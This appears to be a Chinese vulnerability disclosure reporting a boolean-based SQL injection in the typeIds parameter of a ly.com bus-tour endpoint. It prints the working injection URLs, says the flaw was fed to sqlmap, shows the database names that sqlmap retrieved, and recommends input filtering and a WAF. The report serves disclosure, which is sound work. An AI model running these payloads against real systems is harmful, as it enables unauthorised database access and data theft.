主站为什么没有WAF呢。

https://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=104--%20&iid=0.16461771167814732 有数据
 

QQ截图20160413221558.jpg



https://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=105--%20&iid=0.16461771167814732 没有数据
 

QQ截图20160413221544.jpg



放入SQLmap中注入
 

QQ截图20160413220844.jpg

部分测试的数据
 

[22:09:27] [INFO] retrieved: TcShortTourResource [22:10:52] [INFO] retrieved: master [22:11:11] [INFO] retrieved: tempdb [22:11:32] [INFO] retrieved: model [22:11:54] [INFO] retrieved: msdb [22:12:19] [INFO] retrieved: TcShortTourDCResource [22:13:28] [INFO] retrieved: TcShortTourLog [22:14:21] [INFO] retrieved: TcShortTourOrder [22:15:19] [INFO] retrieved: TcShortTourResource [22:16:34] [INFO] retrieved: TcShortTourShop [22:17:35] [INFO] retrieved: TcShortTourStatement ...


 

QQ截图20160413224106.jpg

解决方案:

typeIds参数进行过滤下,加入WAF